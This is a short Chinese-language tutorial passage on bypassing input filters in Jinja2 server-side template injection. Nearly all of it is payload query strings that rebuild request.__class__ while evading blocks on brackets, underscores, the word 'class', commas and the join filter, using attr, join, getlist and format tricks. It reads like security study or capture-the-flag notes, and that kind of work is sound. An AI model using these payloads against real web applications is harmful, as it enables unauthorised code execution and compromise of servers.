原理
首先以jinja2模板注入为例:
{{request[request.args.param]}} 可以用 {{request|attr(request.args.param)}} 替代绕过"["、"]"过滤
绕过的方式也就是同义语句转化,下面给出其他的替换绕过"_"字符:
?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&class=class
等同于 ?exp={{request|attr(["_"*2,"class","_"*2]|join)}}
等同于 ?exp={{request|attr(["__","class","__"]|join)}}
等同于 ?exp={{request|attr("__class__")}}
等同于 ?exp={{request.__class__}}
下面给出一些绕过姿势,假如页面本身注入参数为exploit,想注入的的语句为request.__class__
①绕过 "]"、"["、"_"、class等关键字
使用元组( )和通过传递另外的参数
?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&usc=_&class=class
使用.getlist()优化(能够绕过",")
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
②绕过"|join"
使用|format函数,可以通过传入格式字符串%s,再传入字符,来进行替换
?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join
)}}&f=%s%sclass%s%s&a=_